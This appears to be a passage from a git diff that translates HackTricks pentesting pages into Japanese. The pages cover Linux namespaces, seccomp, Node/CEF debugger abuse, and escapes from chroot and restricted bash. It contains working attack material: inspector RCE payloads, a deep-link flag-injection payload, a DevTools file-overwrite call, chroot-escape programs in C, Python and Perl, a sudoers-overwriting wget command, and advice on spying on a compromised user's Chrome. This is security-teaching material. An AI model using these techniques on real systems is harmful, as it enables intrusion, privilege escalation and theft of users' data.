000001ffffffffff)が、実際には**名前空間に関連するもののみを使用できます**(例えばマウント)が、すべてではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。 ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index f3cc3241f..c15f34494 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -4,15 +4,15 @@ ## 基本情報 -UTS (UNIX Time-Sharing System) 名前空間は、**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です:**ホスト名**と**NIS** (Network Information Service) ドメイン名。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。 +UTS (UNIX Time-Sharing System) 名前空間は、**ホスト名**と**NIS** (Network Information Service) ドメイン名の**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。 -### 仕組み: +### 仕組み: 1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で始まります。これは、作成時に新しい名前空間が**親と同じ識別子を共有する**ことを意味します。しかし、名前空間内でのホスト名やNISドメイン名へのその後の変更は、他の名前空間には影響しません。 -2. UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して、それぞれホスト名とNISドメイン名を**変更することができます**。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。 -3. プロセスは、`setns()`システムコールを使用して名前空間間を移動するか、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUTS`フラグで新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。 +2. UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して**ホスト名とNISドメイン名を変更**できます。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。 +3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUTS`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。 -## ラボ: +## ラボ: ### 異なる名前空間を作成する @@ -24,22 +24,22 @@ sudo unshare -u [--mount-proc] /bin/bash
-エラー: bash: fork: メモリを割り当てることができません +エラー: bash: fork: メモリを割り当てできません -`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下に示されています。 -1. **問題の説明**: +1. **問題の説明**: -- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 - `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 -- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペースでの PID 割り当てを無効にします。 -2. **結果**: +2. **結果**: -- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 +- 新しいネームスペース内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てできません」というエラーが発生します。 -3. **解決策**: -- この問題は `unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 - `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 `unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 @@ -50,7 +50,7 @@ sudo unshare -u [--mount-proc] /bin/bash ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### プロセスがどの名前空間にあるかを確認する +### ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index f31a6cadf..8d8156678 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -6,7 +6,7 @@ **Seccomp**(セキュアコンピューティングモードの略)は、**Linuxカーネルのシステムコールをフィルタリングするためのセキュリティ機能**です。これは、プロセスを限られたセットのシステムコール(既にオープンしているファイルディスクリプタに対する`exit()`、`sigreturn()`、`read()`、および`write()`)に制限します。プロセスが他のシステムコールを呼び出そうとすると、カーネルによってSIGKILLまたはSIGSYSで終了されます。このメカニズムはリソースを仮想化するのではなく、プロセスをそれらから隔離します。 -seccompを有効にする方法は2つあります:`PR_SET_SECCOMP`を使用した`prctl(2)`システムコール、またはLinuxカーネル3.17以降の場合は`seccomp(2)`システムコールです。`/proc/self/seccomp`に書き込む古い方法は、`prctl()`に取って代わられました。 +seccompを有効にする方法は2つあります:`PR_SET_SECCOMP`を使用した`prctl(2)`システムコール、またはLinuxカーネル3.17以降の`seccomp(2)`システムコールです。`/proc/self/seccomp`に書き込む古い方法は、`prctl()`に取って代わられました。 拡張機能である**seccomp-bpf**は、Berkeley Packet Filter(BPF)ルールを使用してカスタマイズ可能なポリシーでシステムコールをフィルタリングする機能を追加します。この拡張は、OpenSSH、vsftpd、Chrome OSおよびLinux上のChrome/Chromiumブラウザなどのソフトウェアによって利用され、柔軟で効率的なシステムコールフィルタリングを提供し、現在はサポートされていないLinux用のsystraceの代替手段を提供します。 @@ -105,7 +105,7 @@ docker run --rm \ hello-world ``` コンテナが `uname` のような **syscall** を実行することを **禁止** したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) からデフォルトプロファイルをダウンロードし、リストから **`uname` 文字列を削除** するだけです。\ -**dockerコンテナ内で特定のバイナリが動作しないことを確認** したい場合は、straceを使用してバイナリが使用しているsyscallsをリストし、それらを禁止することができます。\ +**あるバイナリが Docker コンテナ内で動作しないことを確認** したい場合は、strace を使用してバイナリが使用している syscalls をリストし、それらを禁止することができます。\ 次の例では、`uname` の **syscalls** が発見されます: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname @@ -129,7 +129,7 @@ Seccomp機能を示すために、以下のように「chmod」システムコ ] } ``` -上記のプロファイルでは、デフォルトのアクションを「allow」に設定し、「chmod」を無効にするためのブラックリストを作成しました。より安全にするために、デフォルトのアクションをドロップに設定し、システムコールを選択的に有効にするためのホワイトリストを作成できます。\ +上記のプロファイルでは、デフォルトのアクションを「allow」に設定し、「chmod」を無効にするブラックリストを作成しました。より安全にするために、デフォルトのアクションをドロップに設定し、システムコールを選択的に有効にするホワイトリストを作成できます。\ 以下の出力は、「chmod」コールがseccompプロファイルで無効になっているため、エラーを返すことを示しています。 ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index afe329b75..00d16c9a8 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -25,6 +25,6 @@ Distrolessコンテナを武器化する目的は、**distrolessによって示 #### openssl -\***\*[**この投稿では、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) バイナリ **`openssl`** がこれらのコンテナに頻繁に見られることが説明されており、これはコンテナ内で実行されるソフトウェアに**必要とされる**可能性があります。 +\***\*[**この投稿では、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) バイナリ **`openssl`** がこれらのコンテナに頻繁に見られることが説明されており、これはコンテナ内で実行されるソフトウェアに**必要とされる**ためかもしれません。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..971daa7a8 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -2,17 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` スイッチで起動すると、Node.js プロセスはデバッグクライアントを待ち受けます。**デフォルト**では、ホストとポート **`127.0.0.1:9229`** で待ち受けます。各プロセスには **ユニーク** な **UUID** も割り当てられます。 -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +インスペクタクライアントは、接続するためにホストアドレス、ポート、および UUID を知って指定する必要があります。完全な URL は `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e` のようになります。 > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> **デバッガーは Node.js 実行環境への完全なアクセス権を持っているため**、このポートに接続できる悪意のあるアクターは、Node.js プロセスの代わりに任意のコードを実行できる可能性があります(**潜在的な特権昇格**)。 +インスペクタを起動する方法はいくつかあります: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +検査されたプロセスを開始すると、次のようなものが表示されます: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +プロセスは、**CEF**(**Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。しかし、**NodeJS** **デバッグ**セッションを付与する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。 -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +デバッグされたブラウザを起動すると、次のようなものが表示されます: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### ブラウザ、WebSocket、および同一生成元ポリシー -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**ユニークなデバッガセッションIDを取得するためには、初期HTTP接続が必要です**。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。**DNSリバインディング攻撃**に対する追加のセキュリティとして、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。 > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**単にHTTPリクエストを送信することで**(これはSSRF脆弱性を悪用して行うことができたかもしれません)。 -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### 実行中のプロセスでインスペクタを開始する +実行中のnodejsプロセスに**SIGUSR1信号**を送信することで、**デフォルトポートでインスペクタを開始させる**ことができます。ただし、十分な権限が必要であるため、これにより**プロセス内の情報への特権アクセスが得られる可能性がありますが、直接的な特権昇格はありません**。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいプロセスを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。 -### Connect to inspector/debugger +### インスペクタ/デバッガに接続する -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +**Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeそれぞれのために`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています: ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +**コマンドライン**を使用して、次のようにデバッガ/インスペクタに接続できます: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクターを見つけ**、**コードを注入する**ことを可能にします。 ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> **NodeJS RCEの脆弱性は、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しない**ことに注意してください(APIを確認して、興味深いことをする方法を見つける必要があります)。 + +## NodeJSデバッガー/インスペクターにおけるRCE > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> [**ElectronのXSSからRCEを取得する方法を探している場合は、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +Node **インスペクター**に**接続**できるときに**RCE**を取得する一般的な方法のいくつかは、(これは**Chrome DevToolsプロトコルへの接続では機能しないようです**)を使用することです: ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +APIはここで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。 -### Parameter Injection via Deep Links +### Deep Linksによるパラメータインジェクション -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。 -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に**インジェクト**し、任意のものを実行できることが判明しました。 +したがって、ペイロードは次のようになります: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +calc.exeを実行します。 -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### ファイルの上書き +**ダウンロードしたファイルが保存されるフォルダ**を変更し、アプリケーションの**ソースコード**を**悪意のあるコード**で**上書き**するためにファイルをダウンロードします。 ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCEと情報漏洩 -### Webdriver RCE and exfiltration +この投稿によると: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCEを取得し、内部ページをtheriverから情報漏洩させることが可能です。 -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### ポストエクスプロイト -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +実際の環境で、**ユーザーのPCを侵害した後**、Chrome/Chromiumベースのブラウザを使用している場合、**デバッグを有効にしてデバッグポートをポートフォワード**したChromeプロセスを起動することができます。これにより、**被害者がChromeで行うすべてを検査し、機密情報を盗むことができます**。 +ステルスな方法は、**すべてのChromeプロセスを終了**させてから、次のようなものを呼び出すことです。 ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## 参考文献 - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..d8c92cb0f 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# ジェイルからの脱出 {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**"Shell" プロパティを持つバイナリを実行できるかどうか、[**https://gtfobins.github.io/**](https://gtfobins.github.io) で検索してください** -## Chroot Escapes +## Chroot エスケープ -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +[ウィキペディア](https://en.wikipedia.org/wiki/Chroot#Limitations)より: chroot メカニズムは **特権のある** (**root**) **ユーザーによる意図的な改ざんに対して防御することを目的としていません**。ほとんどのシステムでは、chroot コンテキストは正しくスタックされず、十分な特権を持つ chroot プログラムは **二度目の chroot を実行して脱出することができます**。\ +通常、脱出するには chroot 内で root である必要があります。 > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> **ツール** [**chw00t**](https://github.com/earthquake/chw00t) は、次のシナリオを悪用して `chroot` から脱出するために作成されました。 ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> chroot 内で **root** である場合、**別の chroot** を作成することで **脱出** できます。これは、2 つの chroot が共存できないため (Linux では)、フォルダーを作成し、その新しいフォルダー上に **新しい chroot を作成** すると、**その外にいるあなた** は **新しい chroot の外にいることになり**、したがってファイルシステム内にいることになります。 > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> これは通常、chroot が作業ディレクトリを指定された場所に移動しないために発生します。したがって、chroot を作成できますが、その外にいることになります。 -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +通常、chroot ジェイル内には `chroot` バイナリは見つかりませんが、**バイナリをコンパイル、アップロード、実行することができます**:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
### Root + Saved fd > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> これは前のケースに似ていますが、この場合、**攻撃者は現在のディレクトリへのファイルディスクリプタを保存し**、その後**新しいフォルダにchrootを作成します**。最後に、**chrootの外部でそのFDにアクセスできるため**、それにアクセスし、**脱出**します。
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FDはUnix Domain Socketsを介して渡すことができるので: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - 子プロセスを作成する(fork) +> - 親と子が通信できるようにUDSを作成する +> - 子プロセスで異なるフォルダ内でchrootを実行する +> - 親プロセスで、新しい子プロセスのchrootの外にあるフォルダのFDを作成する +> - UDSを使用してそのFDを子プロセスに渡す +> - 子プロセスはそのFDにchdirし、chrootの外にいるため、脱出することができる ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - ルートデバイス(/)をchroot内のディレクトリにマウントする +> - そのディレクトリにchrootする > -> This is possible in Linux +> これはLinuxで可能です ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - procfsをchroot内のディレクトリにマウントする(まだであれば) +> - 異なるroot/cwdエントリを持つpidを探す、例えば:/proc/1/root +> - そのエントリにchrootする ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - フォーク(子プロセス)を作成し、FSのより深い異なるフォルダにchrootし、その上でCDする +> - 親プロセスから、子プロセスがいるフォルダを子のchrootの前のフォルダに移動する +> - この子プロセスはchrootの外にいることになる ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - 以前はユーザーが自分のプロセスを自分のプロセスからデバッグできましたが... これはもはやデフォルトでは不可能です +> - それでも、可能であれば、プロセスにptraceし、その中でシェルコードを実行することができます([この例を参照](linux-capabilities.md#cap_sys_ptrace))。 ## Bash Jails ### Enumeration -Get info about the jail: - +監獄に関する情報を取得する: ```bash echo $SHELL echo $PATH @@ -171,103 +162,83 @@ env export pwd ``` +### PATHを変更する -### Modify PATH - -Check if you can modify the PATH env variable - +PATH環境変数を変更できるか確認してください。 ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### vimの使用 ```bash :set shell=/bin/sh :shell ``` +### スクリプトを作成 -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +_/bin/bash_ を内容とする実行可能ファイルを作成できるか確認してください。 ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### SSHからbashを取得する -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +ssh経由でアクセスしている場合、このトリックを使用してbashシェルを実行できます: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### 宣言 ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +例えば、sudoersファイルを上書きすることができます。 ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### その他のトリック [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ 